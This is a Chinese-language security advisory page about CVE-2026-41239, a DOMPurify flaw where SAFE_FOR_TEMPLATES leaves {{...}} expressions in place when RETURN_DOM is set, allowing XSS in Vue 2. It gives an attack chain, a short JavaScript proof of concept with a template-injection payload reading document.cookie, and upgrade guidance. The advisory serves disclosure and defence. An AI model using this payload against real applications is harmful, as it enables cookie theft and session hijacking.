IPBUF安全漏洞报告
English
CVE-2026-41239 CVSS 6.8 中危

CVE-2026-41239 DOMPurify跨站脚本漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41239
漏洞类型
跨站脚本 (XSS)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
DOMPurify

相关标签

XSSDOMPurifyVue.jsTemplate InjectionClient-Side Security

漏洞概述

DOMPurify是一款用于HTML、MathML和SVG的DOM-only跨站脚本清理器。在1.0.10至3.4.0之前的版本中,存在一个安全绕过漏洞。当使用`SAFE_FOR_TEMPLATES`选项时,虽然字符串模式下能正确移除`{{...}}`表达式,但在配置为`RETURN_DOM`或`RETURN_DOM_FRAGMENT`模式下失效。攻击者可利用此漏洞在Vue 2等模板评估框架中执行XSS攻击,绕过安全清理机制。

技术细节

该漏洞源于DOMPurify在特定配置下的逻辑缺陷。`SAFE_FOR_TEMPLATES`配置旨在防止模板注入攻击,通过移除`{{`和`}}`包裹的内容来保护Angular或Vue等前端框架。然而,DOMPurify在处理`RETURN_DOM`或`RETURN_DOM_FRAGMENT`标志时,其清理逻辑与字符串模式不同步。在该模式下,`{{...}}`表达式未被正确剥离,导致恶意构造的HTML片段在返回DOM节点后,若被传递给Vue 2等支持模板语法的框架进行渲染,其中的表达式将被解析执行,从而触发XSS。攻击者无需复杂交互,只需诱导受害者加载包含恶意代码的页面即可窃取敏感数据或劫持会话。

攻击链分析

STEP 1
步骤1:构造载荷
攻击者构造包含Vue 2模板表达式(如`{{...}}`)的恶意HTML代码。
STEP 2
步骤2:发送请求
攻击者将包含恶意代码的输入发送至使用了DOMPurify进行过滤的Web应用程序。
STEP 3
步骤3:过滤绕过
目标应用的DOMPurify配置了`SAFE_FOR_TEMPLATES`和`RETURN_DOM`,由于漏洞存在,`{{...}}`未被从返回的DOM节点中移除。
STEP 4
步骤4:渲染执行
应用将该DOM节点传递给Vue 2前端框架进行模板渲染,Vue解析器执行其中的恶意JavaScript代码。
STEP 5
步骤5:获取权限
恶意代码在受害者浏览器中执行,可能导致Cookie窃取或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-41239 // Requires DOMPurify < 3.4.0 and Vue 2 const DOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const Vue = require('vue'); // Setup DOMPurify with JSDOM const window = new JSDOM('').window; const dompurify = DOMPurify(window); // Malicious payload using Vue template syntax const dirty = '<a href="#">Click me {{this.constructor.constructor(\'alert(document.cookie)\')()}}</a>'; // Sanitize with SAFE_FOR_TEMPLATES and RETURN_DOM // The vulnerability allows {{...}} to persist in the DOM const clean = dompurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true, WHOLE_DOCUMENT: true }); // Simulate rendering the cleaned DOM in Vue 2 // The {{...}} expression will be executed new Vue({ template: `<div ref="app"></div>`, mounted() { this.$refs.app.appendChild(clean); } }).$mount('#app');

影响范围

DOMPurify >= 1.0.10, < 3.4.0

防御指南

临时缓解措施
建议立即将DOMPurify库升级至3.4.0或更高版本以修复此漏洞。如果暂时无法升级,应临时修改代码配置,避免在启用`SAFE_FOR_TEMPLATES`时使用`RETURN_DOM`模式,或者在将净化后的DOM插入页面前,额外检查并移除包含`{{`和`}}`的文本节点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表